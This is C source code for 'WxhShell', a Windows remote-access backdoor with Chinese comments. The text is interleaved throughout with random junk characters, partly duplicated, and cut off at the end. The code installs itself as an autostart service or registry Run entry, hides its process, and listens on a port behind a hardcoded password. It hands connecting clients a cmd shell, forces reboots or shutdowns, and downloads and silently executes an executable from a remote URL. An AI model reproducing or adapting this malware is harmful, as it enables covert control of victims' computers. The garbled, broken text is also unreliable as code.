jZ;T&s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t]ZSo- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !jbjrzv9 4Uiqi{} if (!NtQueryInformationProcess) return 0; meWAm?8RI ]3C8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V_pBM if(!hProcess) return 0; Vh8uE iiTUhO ) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e'Pa@]VaC Cw}\t!*! CloseHandle(hProcess); \);rOqh X@)lPr$a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2$91+N*w9 if(hProcess==NULL) return 0; kYAvzuGRb nGVqVSxKT HMODULE hMod; 9PAp*`J@kr char procName[255]; UPYM~c+} unsigned long cbNeeded; bqO"k t Kf4z*5Veqr if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !iw
'tHhR ^~ Sn{esA CloseHandle(hProcess); f+V':qz "->:6Oe2 if(strstr(procName,"services")) return 1; // 以服务启动 "Tv7*3> ~-+Zu< return 0; // 注册表启动 L DsYr] } FScQS.qF *`#,^p`j
b // 主模块 TRZ^$<AG int StartWxhshell(LPSTR lpCmdLine) vF&b|V+, { Nz;;X\GI SOCKET wsl; c0 |p34 BOOL val=TRUE; U6Ak" int port=0; ThxrhQ
q[+ struct sockaddr_in door; F?=u: ^U}0D^jDeE if(wscfg.ws_autoins) Install(); z"3c+?2 (zBQ^97] port=atoi(lpCmdLine); Z3dd9m#.] oK6lCGM5 if(port<=0) port=wscfg.ws_port; tOw
0(-:iq x8Sq+BY WSADATA data; G$ FBx if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~<aB-.d 2#3R]zIO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; y`\Mhnj setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8GldVn.u door.sin_family = AF_INET; >Il`AR;D door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9f\8oJQ door.sin_port = htons(port); ^v-'=1ub? 919g5f` if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QGd- 9UEA] closesocket(wsl); =f!M=D return 1; ]aNnY?qW5 } <Z'hZ lG9ARRy(= if(listen(wsl,2) == INVALID_SOCKET) { b U NYTF{ closesocket(wsl); 7VcVI? ? return 1; n^N]iw{G } M-N2>i# Wxhshell(wsl); lWvd"Vlt WSACleanup(); gQWX< 2r,'4%G return 0; Gq/6{eRo\ lIg2iun[n } Tm52=+u f$ Q=E@i9c9 // 以NT服务方式启动 s~
A8/YoU} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tm\[q { c'";36y DWORD status = 0; dH|^\IQ DWORD specificError = 0xfffffff; e-9unnk C`wI6! serviceStatus.dwServiceType = SERVICE_WIN32; <q2nZI^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; <R>z;2c serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 070IBAk}_ serviceStatus.dwWin32ExitCode = 0; )1Nnn serviceStatus.dwServiceSpecificExitCode = 0; RFY!o<
serviceStatus.dwCheckPoint = 0; -G#k/Rz6 serviceStatus.dwWaitHint = 0; .E#Sm?gK 5Q` n6 x| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (JW?azU if (hServiceStatusHandle==0) return; -P>=WZu :-La
$I> status = GetLastError(); 4rG 7\ if (status!=NO_ERROR) 1m;*fs { ,hLSRj{ serviceStatus.dwCurrentState = SERVICE_STOPPED; V(LFH9.Mp serviceStatus.dwCheckPoint = 0; .A)Un/k7 serviceStatus.dwWaitHint = 0; v`^J3A serviceStatus.dwWin32ExitCode = status; UUu-(H-J serviceStatus.dwServiceSpecificExitCode = specificError; *`Xx _ SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Y`<(V5: return; bpa
O`[* } p"IS"k% D|j\ nQ serviceStatus.dwCurrentState = SERVICE_RUNNING; u3m T
l serviceStatus.dwCheckPoint = 0; -WvgK"k serviceStatus.dwWaitHint = 0; 8G&+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3]n@c?lw } _`i%9Ad.4 zI_GdQNfN // 处理NT服务事件,比如:启动、停止 H~ n~5 sF" VOID WINAPI NTServiceHandler(DWORD fdwControl) D1 ~x { aGb.
Lh9 switch(fdwControl) < iI6@X> { KTjlWxD case SERVICE_CONTROL_STOP: ,, %:vK+V serviceStatus.dwWin32ExitCode = 0; VHr7GAmU serviceStatus.dwCurrentState = SERVICE_STOPPED; cuaNAJ serviceStatus.dwCheckPoint = 0; u#WTh%/ serviceStatus.dwWaitHint = 0; 917 0bmr { S?\hbM]V-o SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y{vwOs } k_>Fw>Y return; <3=qLm case SERVICE_CONTROL_PAUSE: NLZZMr serviceStatus.dwCurrentState = SERVICE_PAUSED; Du:p!nO break; YQV?S case SERVICE_CONTROL_CONTINUE: W^.-C serviceStatus.dwCurrentState = SERVICE_RUNNING; ^7bf8 ^` break; )nHE$gVM
s case SERVICE_CONTROL_INTERROGATE: Wk#h,p3 break; E8_Le }; R{uJczu SetServiceStatus(hServiceStatusHandle, &serviceStatus); HJaw\zbL } kEhm' `k]!6osZo // 标准应用程序主函数 E? eWv)// int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }?]yxa ~ { [~c'|E8Q PuZs5J3 // 获取操作系统版本 :q64K?X OsIsNt=GetOsVer(); r p
@ GetModuleFileName(NULL,ExeFile,MAX_PATH); .um&6Q=2< ^M"z1B] // 从命令行安装 bk"k&.C^+ if(strpbrk(lpCmdLine,"iI")) Install(); 15KV}){ wp%FM // 下载执行文件 wK'! xH^ if(wscfg.ws_downexe) { $dh4T"; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Ht*)l? WinExec(wscfg.ws_filenam,SW_HIDE); D"XX920$~ } \!JS7!+ !\-4gr?`! if(!OsIsNt) { KU|BT.o8 // 如果时win9x,隐藏进程并且设置为注册表启动 0vuKGjK HideProc(); g(1B W#$ StartWxhshell(lpCmdLine); gFs/012{ } @>fO;* else sCtw30BL if(StartFromService()) ^@`e // 以服务方式启动 .3&a{IxM] StartServiceCtrlDispatcher(DispatchTable); o4%Vt} K else mw(c[.*% // 普通方式启动 /pN'K5@ StartWxhshell(lpCmdLine); A,-V$[;~D ~z
K@pFeH return 0; ihiuSF<NaQ } =^Sw*[eiy Bhu@ 2KdA w;c#drY7S E
{KS a =========================================== z_Wm
HB Yn4)Zhkk [.j]V-61 #PslrA.
E ]A]Ft!`6z FL`1yD^2 " Xqg.kX 4W!\4Va #include <stdio.h> XpgV09.EE #include <string.h> | 7 m5P@X #include <windows.h> _}zo
/kDA #include <winsock2.h> =@JS88+ #include <winsvc.h> n</k/Mk} #include <urlmon.h> qcTmsMpj c.(Ud`jc #pragma comment (lib, "Ws2_32.lib") Zj1ZU[BEcL #pragma comment (lib, "urlmon.lib") J3~hzgY ,](v?v.[4 #define MAX_USER 100 // 最大客户端连接数 Jh$"f r3 #define BUF_SOCK 200 // sock buffer F)/~p&H #define KEY_BUFF 255 // 输入 buffer 1Y=AT!"V ', sQ/#S #define REBOOT 0 // 重启 xvR?~ #define SHUTDOWN 1 // 关机 -@SOo"P <TR/ ` #define DEF_PORT 5000 // 监听端口 my ; #9$V
08 #define REG_LEN 16 // 注册表键长度 +ze}0lrEL #define SVC_LEN 80 // NT服务名长度 CF|moc:; m<4s*q0\i // 从dll定义API $ZI~ 8rI~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $5lW)q A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =[P%_v`` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~V2ajM1Z&O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @PQrmn6w 5S%C~iB // wxhshell配置信息 D3S+LV struct WSCFG { R:w%2Y int ws_port; // 监听端口 ImWXzg3@{ char ws_passstr[REG_LEN]; // 口令 EO#gUv int ws_autoins; // 安装标记, 1=yes 0=no Fn86E dFM char ws_regname[REG_LEN]; // 注册表键名 d7"U WY^ char ws_svcname[REG_LEN]; // 服务名 Ecxj9h,S char ws_svcdisp[SVC_LEN]; // 服务显示名 {sC@N![ char ws_svcdesc[SVC_LEN]; // 服务描述信息 T-9k<,>? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |N:MZ#}; int ws_downexe; // 下载执行标记, 1=yes 0=no YH[XRUa char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PwW^y#96 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T?X^0UdJj $%g\YdC }; %Kh2E2Pe pi`;I*f/ // default Wxhshell configuration ~`t%M?l struct WSCFG wscfg={DEF_PORT, qyg*n>nt "xuhuanlingzhe", 3sZ,|,ueD 1, uAu( +zV2 "Wxhshell", $gVLk. "Wxhshell", %z*29iKlI "WxhShell Service", )A="eW_> "Wrsky Windows CmdShell Service", hZAG (Z "Please Input Your Password: ", f49"pTw7 1, `$S^E != "http://www.wrsky.com/wxhshell.exe", +D:83h{ "Wxhshell.exe" 99^AT*ByY }; -a
*NbH w`L~#yu // 消息定义模块 W|ReLM\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %p0b{P j_p char *msg_ws_prompt="\n\r? for help\n\r#>"; I"ca+4] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =op`fn% char *msg_ws_ext="\n\rExit."; tC&fAE:S char *msg_ws_end="\n\rQuit."; u3 ]Uxy char *msg_ws_boot="\n\rReboot..."; [{`)j char *msg_ws_poff="\n\rShutdown..."; =G(*gx char *msg_ws_down="\n\rSave to "; F9MR5O" yeh8z:5Z O char *msg_ws_err="\n\rErr!"; RcgRaQ2^ char *msg_ws_ok="\n\rOK!"; ^vpIZjN n`% 2Mj c char ExeFile[MAX_PATH]; su&t7rJ int nUser = 0; #G3` p!" HANDLE handles[MAX_USER]; .i$,}wtw int OsIsNt; ^8:VWJM ql^g~b SERVICE_STATUS serviceStatus; hG=k1T%= SERVICE_STATUS_HANDLE hServiceStatusHandle; eSl]8BX_ 9C_*3?6 // 函数声明 s=MT, int Install(void); -b
cG[W3 int Uninstall(void); k, f)2< int DownloadFile(char *sURL, SOCKET wsh); <EtUnj:qK8 int Boot(int flag); ]nUR;8 void HideProc(void); cTM$ZNin int GetOsVer(void); vYDSu.C@a int Wxhshell(SOCKET wsl); &vCeLh:s void TalkWithClient(void *cs); eUt=n)*` int CmdShell(SOCKET sock); );nz4/V int StartFromService(void); kI%peb? int StartWxhshell(LPSTR lpCmdLine); UP\C"\ OU!nN>ln VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f`9JE8 VOID WINAPI NTServiceHandler( DWORD fdwControl ); , jy<o+! 7i8eg*Gl // 数据结构和表定义 *C\(wL SERVICE_TABLE_ENTRY DispatchTable[] = e^QVn\<c { @g4Shlx| {wscfg.ws_svcname, NTServiceMain}, =p]mX)I_ {NULL, NULL} )!e3.C|V1W }; 9 ~~qAoD }|Uj"e // 自我安装 t05_Px!mW int Install(void) RdgVBG#Z1 { GM](=|F char svExeFile[MAX_PATH]; s`"O M^[- HKEY key; f')c/Yw strcpy(svExeFile,ExeFile); jyiFM5& 1HhX/fpq // 如果是win9x系统,修改注册表设为自启动 ]ni6p&b> if(!OsIsNt) { ~Rs#|JWB2V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { il12T`a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #$FrFU;ZR RegCloseKey(key); 'WQdr( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <FUon RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D*\v0=P'? RegCloseKey(key); R:~(Z? return 0; ?q_^Rj$ } zG#wu } Q&xjF@I } zsDocR else { %zzYleJ!] ;WD,x:>blO // 如果是NT以上系统,安装为系统服务 f^p^Y
F+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GW3>&j_!d if (schSCManager!=0) xYI;V7 { .n`( X#,*l SC_HANDLE schService = CreateService 6\4Z\82 ( l&L,7BX schSCManager, RNTa XR+Zn wscfg.ws_svcname, rVH6QQF=\ wscfg.ws_svcdisp, Stxp3\jEn SERVICE_ALL_ACCESS, q\Rq!7( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SWs3SYJ\ SERVICE_AUTO_START, ydQ!4 SERVICE_ERROR_NORMAL, ;L~p|sF svExeFile, qbiK^gR NULL, KlN/\N\ NULL, XE1$K_m NULL, vT c7an6fy NULL, YLOwQj' NULL D`pQ7 ); 5qbq,#Pf if (schService!=0) jvHFFSK { uvnI>gv CloseServiceHandle(schService); sWHyL(C@ CloseServiceHandle(schSCManager); Izn
T|l^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~~nqU pK?v strcat(svExeFile,wscfg.ws_svcname); JJ?I>S N! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h/2/vBs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rkDi+D6`q RegCloseKey(key); u7s"0f` return 0; +-BwQ{92[: } (}smW_`5 } +ZA)/ CloseServiceHandle(schSCManager); Nu^p } 83 I-X95 } pJBg?D +C+<BzR~A. return 1; $6h*lT< } J;}3t! ?Ik4 // 自我卸载 ~_>cM c int Uninstall(void) V.6)0fKZW { m%QSapV HKEY key; B=n[)"5fBO SV.z>p if(!OsIsNt) { s5D: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z.oU4c RegDeleteValue(key,wscfg.ws_regname); /_t|Dry015 RegCloseKey(key); W:`#% :C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @gY\;[#. RegDeleteValue(key,wscfg.ws_regname); tY+$$GSQj RegCloseKey(key); hmC*^"C>U= return 0; lnh+a7a) } dJ
~Zr)> } lCIDBBjy^ } Ez+Z[*C else { l_{8+\`! epg#HNP7^Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bT)]'(Xy if (schSCManager!=0) L',mKOej { ,Na^%A@TJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i"r!w|j if (schService!=0) 65TfFcQ<S { UZ2TqR if(DeleteService(schService)!=0) { MHi8E9_O CloseServiceHandle(schService); )Si2u5 CloseServiceHandle(schSCManager); Ps4 ZFX return 0; wN=;i# } z6*<V5<7 CloseServiceHandle(schService); 3jZ6kfj } Y32 "N[yw CloseServiceHandle(schSCManager); R=]d%L8 } xQ4%e[/ } u92^(| Hfym30 return 1; N&,]^>^u } fv!?Ga( -/P\"c // 从指定url下载文件 pH@]Y+W int DownloadFile(char *sURL, SOCKET wsh) SaOYu &> { \%0n}.A HRESULT hr; Gl}Qxv#$ char seps[]= "/"; j%IF2p2 char *token; Oy57 $ char *file; CGbwmPx char myURL[MAX_PATH]; @FO)0 char myFILE[MAX_PATH]; wkUlrL/~ LR(-<" strcpy(myURL,sURL); 4_/?:$KO token=strtok(myURL,seps); #V,R >0" while(token!=NULL) MGJ.,tK1 { k8AW6oO/i file=token; n'1'!J;Q token=strtok(NULL,seps); PcT?<HU } %]2,& IZ/m4~ GetCurrentDirectory(MAX_PATH,myFILE); 8s{?v&p strcat(myFILE, "\\"); d5`3wd]]'v strcat(myFILE, file); lQ' GX9hN@ send(wsh,myFILE,strlen(myFILE),0); E>|: D send(wsh,"...",3,0); Dd/wUP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r SkUSe6 if(hr==S_OK) p5r]J +1 return 0; @#g<IBG=* else @.Icz return 1; 1KM`i 9h4({EE2t } aJ") <_+ ~*A8+@\R // 系统电源模块 4)|8Eu[p7 int Boot(int flag) kE9esC3 { !K
f#@0E.. HANDLE hToken; aFz5leD TOKEN_PRIVILEGES tkp; 5,-U.B} Eow_WW;P if(OsIsNt) { l
vMlL5t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hCjR&ZA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L>yJ tkp.PrivilegeCount = 1; uN([*'0Cg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZOCDA2e(j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '(bgs if(flag==REBOOT) { ?T9(Vw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .sC?7O= return 0; nD5 gP } ?=m?jNa;nC else { tg]x0#@s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~T&<CTh return 0; l&iq5}[n& } (bsXo
q } n8*;lK8 else { 6KpHnSW if(flag==REBOOT) { h3LE>}6D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +gtrt^:]l return 0; V=:'SL*3| } \7Jg7 * else { z 9FfU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g35DV6 return 0; :8CvRO*< } 1$M@]7e+!+ } 79`AM
X[b \b%kf9 9 return 1; AC>`'Gx } Oo"^%F~% Ag{iq(X // win9x进程隐藏模块 0"CG7Vg,zh void HideProc(void) .pvi!NnL- { LaQ-=;(` Tyvtmx M HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?c[*:N( if ( hKernel != NULL ) ,Ax dCT { QUu}Xg: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]]Cb$$Td ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GB$;n? FreeLibrary(hKernel); &f^, la } =-IbS}3 yzqVz_Fi*W return; H&:jcgV*P } {
^cV lC_ su*'d:L // 获取操作系统版本 %Ev4]}2C1 int GetOsVer(void) I'V4D[H5 { 0NS<?p~_S OSVERSIONINFO winfo; /YZr~|65 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E\Rhz]G( GetVersionEx(&winfo); $GlWf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b )B?
F return 1; {q"OM*L( else "?V0$-DR return 0; DRcNdO/1E } ;kY(<{ 2 &*+'>UEe5 // 客户端句柄模块 `DV.+>O-1 int Wxhshell(SOCKET wsl) C?lcGt!H { mV3cp rRqv SOCKET wsh; O8h%3& struct sockaddr_in client; V5UF3'3;} DWORD myID; ["h5!vj 9I&xfvD, while(nUser<MAX_USER) nih0t^m' { i\,-oO int nSize=sizeof(client); 7Zlw^'q$:L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M7pOLP_1jB if(wsh==INVALID_SOCKET) return 1; B} lvr-c# u6AA4( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `$ 6rz if(handles[nUser]==0) ~ _/(t'9 closesocket(wsh); vN`klDJgW[ else ibj87K nUser++; vX/T3WV
}
C
uB`CI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #ZB~x6i6 Yt;MV) return 0; '<"s \, } G3Z)Z)N %J+E/ // 关闭 socket KrQ1GepJ void CloseIt(SOCKET wsh) #1OOU { e )d`pQ6 closesocket(wsh); <g$~1fa nUser--;
!2ZF(@C/ ExitThread(0); |olA9mp|] } nAv#?1cjz aDU<wxnSvO // 客户端请求句柄 k$blEa4 void TalkWithClient(void *cs) Ff)8Q.m { f4fvrL N sXHO SOCKET wsh=(SOCKET)cs; 8WXQOo8 char pwd[SVC_LEN]; PvPOU" char cmd[KEY_BUFF]; ,Q char chr[1]; jIJ~QpNE int i,j; t'n pG}`tE -XB/lnG while (nUser < MAX_USER) { A^USBv+9` JMC. w! if(wscfg.ws_passstr) { hgPa6Kd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;ub;lh 3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V<GHpFi0 //ZeroMemory(pwd,KEY_BUFF); X
$jWo@ i=0; ZOh`(})hy while(i<SVC_LEN) { b,7k)ND1F EJMM9(DQ7 // 设置超时 =;Au<| fd_set FdRead; B38]~'8 struct timeval TimeOut; l9{hq/V FD_ZERO(&FdRead); p{r}?a FD_SET(wsh,&FdRead); rC5
p-B% TimeOut.tv_sec=8; 8\+uec]k TimeOut.tv_usec=0; H#,W5EJzM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KcWN,!G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m|n | )K8N<n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V%rzk*LA pwd=chr[0]; @>,^":`# if(chr[0]==0xd || chr[0]==0xa) { ]cHgleHQ pwd=0; >g1~CEMN# break; q'T4w!V(V } ]_f_w9] i++; marQNZ } hOjk3
k Q /U2^ // 如果是非法用户,关闭 socket $V-~Bu- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gb[5&>(# } M?1Y,5 f%][}NN)Xr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6]K_m(F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %O|iE M Ag-(5: while(1) { 8\&X2[oAD XO.jl" xu ZeroMemory(cmd,KEY_BUFF); slCx w$ *#,7d"6W5 // 自动支持客户端 telnet标准 n(1l}TJy j=0; @LF,O}[2J while(j<KEY_BUFF) { R0KPZv- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .s?L^Z^ cmd[j]=chr[0]; PxvyN_B#> if(chr[0]==0xa || chr[0]==0xd) { P)Jgs cmd[j]=0; L+b6!2O, break; u-QB.iQ+s } ha]VWt%} j++; f\|w' } WlOmJtt4) |3('
N#| // 下载文件 1+_`^|eK if(strstr(cmd,"http://")) { ^UP`%egR send(wsh,msg_ws_down,strlen(msg_ws_down),0); &GpRI(OB/+ if(DownloadFile(cmd,wsh)) P78g/p T send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ a! #G else Dj"F\j 1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wf+cDpK } 5'OrHk;u else { 3#LlDC_WC %z=le7 switch(cmd[0]) { E>6MeO zVViLUwG // 帮助 5%Y3 Kwyy case '?': { {&&z-^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?g_3 [Fk break; W: z6Koc0 } 'TTLo|@"- // 安装 Xr,1&"B&t case 'i': { G<L;4nA) if(Install()) 0{5w 6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); S,88*F(<^q else tH!]Z4}u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R)c?`:iUB break; A#e%^{q$ } Tf>bX_L? // 卸载 XY5K%dMU case 'r': { 0_jf/an,% if(Uninstall()) \[;0KV_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*$lp'~7N else O%\*@4zM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /J]5H break; 0Um2DjTCG } d-oMQGOklb // 显示 wxhshell 所在路径 !Jo_"#5 case 'p': { tm|ZBM char svExeFile[MAX_PATH]; z<MsKD0Q strcpy(svExeFile,"\n\r"); tR#OjkvX strcat(svExeFile,ExeFile); '+@=ILj> send(wsh,svExeFile,strlen(svExeFile),0); = }~hWL break; +Q/R{#O } =O~_Q- // 重启 4S7v:1~xe case 'b': { J"0`%'*/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sh/08+@+L: if(Boot(REBOOT)) Lc}y<=P@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0HZ{Y9] else { 6,pnw closesocket(wsh); FnwJ+GTu ExitThread(0); i}cRi&2[ } ncaT?~u j break; atj(eg } u^&^UxCA // 关机 y5vvu>nd case 'd': { R|'ybW'Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AzPu) if(Boot(SHUTDOWN)) QFA8N send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjK%t|aV^ else { hqD*z6aH closesocket(wsh); irZ])a ExitThread(0); 49eD1h3'X[ } |44Ploz2b break; ^vZSUfS } W<'m:dq // 获取shell 91/Q9xY case 's': { Q1Kfi8h}' CmdShell(wsh); % 7hrk closesocket(wsh); Kf3"Wf^q ExitThread(0); n3WlZ!$ break; aHD]k8m z } r-,%2y? // 退出 <]ox;-56 case 'x': { !M(xG%M-V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [DuttFX^x CloseIt(wsh); :'Vf
g[Uq break; BT !^~S%w } TP*hd // 离开 YqscZ(L:y case 'q': { 7P} W
* send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9i:L&dN closesocket(wsh); a,,ex i WSACleanup(); H8=N@l exit(1); IW5,7. break; yWmJ~/*lG } e[1hz_v } nkPh,X\N0 } =F|{#F /'SNw?& // 提示信息 R*,MfV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @NR>{Eg } Z{*\S0^ST } 7g^]:3f! XPc^Tq return; [NTzcSN. } &$+AXzn ,~U>'&M; // shell模块句柄 x>K Or,f int CmdShell(SOCKET sock) 1er
TldX { 3l~^06D STARTUPINFO si; KYm0@O>; ZeroMemory(&si,sizeof(si)); &C_j\7Dq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $c!p& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A`%k:@ PROCESS_INFORMATION ProcessInfo; U gat1Pz char cmdline[]="cmd"; g&L!1<,
p CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 70?\ugxA return 0; -_g0C^:<, } ^^sE: 8S
TvCH"Z_ // 自身启动模式 M/f<A$xx_ int StartFromService(void) #~]zhHI { H*n-_{h"t typedef struct [jQp~&nY { As&Sq-NWf DWORD ExitStatus; ,>a&"V^k DWORD PebBaseAddress; fgTg7 m DWORD AffinityMask; LBeF&sb6 DWORD BasePriority; 6q\bB ULONG UniqueProcessId; K-)]
1BG ULONG InheritedFromUniqueProcessId; (XTG8W sN } PROCESS_BASIC_INFORMATION; k=$TGqQY? ,Zx0%#6 PROCNTQSIP NtQueryInformationProcess;
z_$% -6 dlh)gp; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6GlJ>r+n static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RMV/&85?y Qp5VP@t HANDLE hProcess; ;+R&}[9,A) PROCESS_BASIC_INFORMATION pbi; ma]F7dZ5 B3`5O[6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P= BZ+6DS if(NULL == hInst ) return 0; EU 6 oQ KAJi g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2QcOR4_V g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &J]K3w1p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pbn*_/H \!X8
if (!NtQueryInformationProcess) return 0; lN)C2 2 z|J_b"u4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HVCe;eI if(!hProcess) return 0; eb\K "ec" }0*@fO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L[fiU0^o 9<?M8_ CloseHandle(hProcess); oSKXt}sh 2RX;Ob_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }-{H Y if(hProcess==NULL) return 0; O/(`S<iip }"H,h)T HMODULE hMod; R%WCH?B<} char procName[255]; yxQ1`'[CR unsigned long cbNeeded; hh%-(HaLX3 &m7]v,& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a5^]20Fa sE<V5`Z= CloseHandle(hProcess); 79j+vH!zh 